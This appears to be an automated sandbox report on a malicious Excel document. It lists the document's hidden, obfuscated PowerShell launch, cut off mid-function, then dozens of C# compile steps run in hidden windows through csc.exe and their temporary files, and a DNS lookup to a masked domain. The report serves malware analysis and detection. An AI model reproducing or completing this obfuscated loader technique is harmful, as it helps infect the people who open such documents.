Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function v4ef21 { param($cf459) $q6d2b = 'f3a8c';$k79de = ''; for ($i = 0; $i -lt $cf459.length; $i+=2) { $g5a37e = [convert]::ToByte($cf459.Substring($i, 2), 16); $k...
Modifies file system
Creates the following files
- %TEMP%\adqeoxy8.0.cs
- %TEMP%\8pqdevmk.dll
- %TEMP%\res96b4.tmp
- %TEMP%\csc95d9.tmp
- %TEMP%\8pqdevmk.out
- %TEMP%\8pqdevmk.cmdline
- %TEMP%\8pqdevmk.0.cs
- %TEMP%\40xlsysd.dll
- %TEMP%\res8565.tmp
- %TEMP%\csc8545.tmp
- %TEMP%\40xlsysd.out
- %TEMP%\40xlsysd.cmdline
- %TEMP%\40xlsysd.0.cs
- %TEMP%\lsabropu.dll
- %TEMP%\res72ef.tmp
- %TEMP%\csc72de.tmp
- %TEMP%\lsabropu.out
- %TEMP%\lsabropu.cmdline
- %TEMP%\lsabropu.0.cs
- %TEMP%\uwwtlmnu.dll
- %TEMP%\pplwe0nh.0.cs
- %TEMP%\pplwe0nh.out
- %TEMP%\d2w7bucc.dll
- %TEMP%\csca8ad.tmp
- %TEMP%\resf40f.tmp
- %TEMP%\cscf3ef.tmp
- %TEMP%\d2w7bucc.out
- %TEMP%\d2w7bucc.cmdline
- %TEMP%\d2w7bucc.0.cs
- %TEMP%\9xwichkg.dll
- %TEMP%\resec04.tmp
- %TEMP%\cscebf3.tmp
- %TEMP%\9xwichkg.out
- %TEMP%\9xwichkg.cmdline
- %TEMP%\9xwichkg.0.cs
- %TEMP%\sfavzvsp.dll
- %TEMP%\resd03a.tmp
- %TEMP%\cscd01a.tmp
- %TEMP%\sfavzvsp.out
- %TEMP%\sfavzvsp.cmdline
- %TEMP%\sfavzvsp.0.cs
- %TEMP%\pplwe0nh.dll
- %TEMP%\resa8be.tmp
- %TEMP%\res2175.tmp
- %TEMP%\pplwe0nh.cmdline
- %TEMP%\csc2165.tmp
- %TEMP%\cscbb72.tmp
- %TEMP%\huxsuau8.cmdline
- %TEMP%\huxsuau8.0.cs
- %TEMP%\91ja1ox9.dll
- %TEMP%\resacc3.tmp
- %TEMP%\cscaca3.tmp
- %TEMP%\91ja1ox9.out
- %TEMP%\91ja1ox9.cmdline
- %TEMP%\91ja1ox9.0.cs
- %TEMP%\lrz9uioc.dll
- %TEMP%\res82b7.tmp
- %TEMP%\csc82a6.tmp
- %TEMP%\lrz9uioc.out
- %TEMP%\lrz9uioc.cmdline
- %TEMP%\lrz9uioc.0.cs
- %TEMP%\adqeoxy8.dll
- %TEMP%\res711b.tmp
- %TEMP%\csc710a.tmp
- %TEMP%\adqeoxy8.out
- %TEMP%\adqeoxy8.cmdline
- %TEMP%\huxsuau8.out
- %TEMP%\resbb82.tmp
- %TEMP%\uwwtlmnu.cmdline
- %TEMP%\huxsuau8.dll
- %TEMP%\uwwtlmnu.0.cs
- %TEMP%\0bob80hx.dll
- %TEMP%\res628.tmp
- %TEMP%\csc627.tmp
- %TEMP%\0bob80hx.out
- %TEMP%\0bob80hx.cmdline
- %TEMP%\0bob80hx.0.cs
- %TEMP%\kromuqsb.dll
- %TEMP%\resecfe.tmp
- %TEMP%\csceced.tmp
- %TEMP%\kromuqsb.out
- %TEMP%\kromuqsb.cmdline
- %TEMP%\kromuqsb.0.cs
- %TEMP%\nmkdizh5.dll
- %TEMP%\resd79a.tmp
- %TEMP%\cscd789.tmp
- %TEMP%\nmkdizh5.out
- %TEMP%\nmkdizh5.cmdline
- %TEMP%\nmkdizh5.0.cs
- %TEMP%\uwwtlmnu.out
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{e3378e5d-f816-4b0c-b72e-b4d0c68f463b}.tmp
Deletes the following files
- %TEMP%\res711b.tmp
- %TEMP%\8pqdevmk.pdb
- %TEMP%\8pqdevmk.cmdline
- %TEMP%\8pqdevmk.out
- %TEMP%\8pqdevmk.0.cs
- %TEMP%\csc95d9.tmp
- %TEMP%\res96b4.tmp
- %TEMP%\40xlsysd.out
- %TEMP%\40xlsysd.pdb
- %TEMP%\40xlsysd.cmdline
- %TEMP%\40xlsysd.dll
- %TEMP%\8pqdevmk.dll
- %TEMP%\40xlsysd.0.cs
- %TEMP%\res8565.tmp
- %TEMP%\lsabropu.pdb
- %TEMP%\lsabropu.out
- %TEMP%\lsabropu.dll
- %TEMP%\lsabropu.cmdline
- %TEMP%\lsabropu.0.cs
- %TEMP%\csc72de.tmp
- %TEMP%\res72ef.tmp
- %TEMP%\uwwtlmnu.0.cs
- %TEMP%\uwwtlmnu.pdb
- %TEMP%\csc8545.tmp
- %TEMP%\resa8be.tmp
- %TEMP%\csca8ad.tmp
- %TEMP%\pplwe0nh.dll
- %TEMP%\d2w7bucc.0.cs
- %TEMP%\d2w7bucc.cmdline
- %TEMP%\d2w7bucc.pdb
- %TEMP%\cscf3ef.tmp
- %TEMP%\resf40f.tmp
- %TEMP%\9xwichkg.0.cs
- %TEMP%\9xwichkg.dll
- %TEMP%\9xwichkg.pdb
- %TEMP%\9xwichkg.out
- %TEMP%\9xwichkg.cmdline
- %TEMP%\cscebf3.tmp
- %TEMP%\resec04.tmp
- %TEMP%\sfavzvsp.out
- %TEMP%\sfavzvsp.pdb
- %TEMP%\sfavzvsp.dll
- %TEMP%\sfavzvsp.0.cs
- %TEMP%\sfavzvsp.cmdline
- %TEMP%\cscd01a.tmp
- %TEMP%\resd03a.tmp
- %TEMP%\pplwe0nh.pdb
- %TEMP%\pplwe0nh.cmdline
- %TEMP%\pplwe0nh.0.cs
- %TEMP%\pplwe0nh.out
- %TEMP%\uwwtlmnu.out
- %TEMP%\d2w7bucc.dll
- %TEMP%\uwwtlmnu.dll
- %TEMP%\csc2165.tmp
- %TEMP%\cscbb72.tmp
- %TEMP%\resbb82.tmp
- %TEMP%\91ja1ox9.0.cs
- %TEMP%\91ja1ox9.out
- %TEMP%\91ja1ox9.dll
- %TEMP%\91ja1ox9.cmdline
- %TEMP%\91ja1ox9.pdb
- %TEMP%\cscaca3.tmp
- %TEMP%\resacc3.tmp
- %TEMP%\lrz9uioc.cmdline
- %TEMP%\huxsuau8.cmdline
- %TEMP%\lrz9uioc.0.cs
- %TEMP%\lrz9uioc.pdb
- %TEMP%\lrz9uioc.dll
- %TEMP%\csc82a6.tmp
- %TEMP%\res82b7.tmp
- %TEMP%\adqeoxy8.out
- %TEMP%\adqeoxy8.0.cs
- %TEMP%\adqeoxy8.cmdline
- %TEMP%\adqeoxy8.pdb
- %TEMP%\adqeoxy8.dll
- %TEMP%\csc710a.tmp
- %TEMP%\lrz9uioc.out
- %TEMP%\huxsuau8.out
- %TEMP%\huxsuau8.pdb
- %TEMP%\huxsuau8.0.cs
- %TEMP%\res2175.tmp
- %TEMP%\0bob80hx.cmdline
- %TEMP%\0bob80hx.out
- %TEMP%\0bob80hx.pdb
- %TEMP%\0bob80hx.dll
- %TEMP%\0bob80hx.0.cs
- %TEMP%\csc627.tmp
- %TEMP%\res628.tmp
- %TEMP%\kromuqsb.dll
- %TEMP%\kromuqsb.0.cs
- %TEMP%\kromuqsb.pdb
- %TEMP%\kromuqsb.cmdline
- %TEMP%\kromuqsb.out
- %TEMP%\csceced.tmp
- %TEMP%\resecfe.tmp
- %TEMP%\nmkdizh5.pdb
- %TEMP%\nmkdizh5.cmdline
- %TEMP%\nmkdizh5.out
- %TEMP%\nmkdizh5.0.cs
- %TEMP%\nmkdizh5.dll
- %TEMP%\cscd789.tmp
- %TEMP%\resd79a.tmp
- %TEMP%\huxsuau8.dll
- %TEMP%\uwwtlmnu.cmdline
- %TEMP%\d2w7bucc.out
Network activity
UDP
- DNS ASK me###group.pw
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\adqeoxy8.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEC04.tmp" "%TEMP%\CSCEBF3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9xwichkg.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD03A.tmp" "%TEMP%\CSCD01A.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sfavzvsp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA8BE.tmp" "%TEMP%\CSCA8AD.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pplwe0nh.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES96B4.tmp" "%TEMP%\CSC95D9.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8pqdevmk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8565.tmp" "%TEMP%\CSC8545.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\40xlsysd.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES72EF.tmp" "%TEMP%\CSC72DE.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lsabropu.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2175.tmp" "%TEMP%\CSC2165.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uwwtlmnu.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES628.tmp" "%TEMP%\CSC627.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0bob80hx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESECFE.tmp" "%TEMP%\CSCECED.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kromuqsb.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD79A.tmp" "%TEMP%\CSCD789.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nmkdizh5.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB82.tmp" "%TEMP%\CSCBB72.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\huxsuau8.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESACC3.tmp" "%TEMP%\CSCACA3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\91ja1ox9.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES82B7.tmp" "%TEMP%\CSC82A6.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lrz9uioc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES711B.tmp" "%TEMP%\CSC710A.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\d2w7bucc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF40F.tmp" "%TEMP%\CSCF3EF.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\d2w7bucc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEC04.tmp" "%TEMP%\CSCEBF3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9xwichkg.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD03A.tmp" "%TEMP%\CSCD01A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sfavzvsp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA8BE.tmp" "%TEMP%\CSCA8AD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pplwe0nh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES96B4.tmp" "%TEMP%\CSC95D9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8pqdevmk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8565.tmp" "%TEMP%\CSC8545.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\40xlsysd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES72EF.tmp" "%TEMP%\CSC72DE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lsabropu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2175.tmp" "%TEMP%\CSC2165.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uwwtlmnu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES628.tmp" "%TEMP%\CSC627.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0bob80hx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESECFE.tmp" "%TEMP%\CSCECED.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\kromuqsb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD79A.tmp" "%TEMP%\CSCD789.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nmkdizh5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB82.tmp" "%TEMP%\CSCBB72.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\huxsuau8.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESACC3.tmp" "%TEMP%\CSCACA3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\91ja1ox9.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES82B7.tmp" "%TEMP%\CSC82A6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lrz9uioc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES711B.tmp" "%TEMP%\CSC710A.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\adqeoxy8.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF40F.tmp" "%TEMP%\CSCF3EF.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
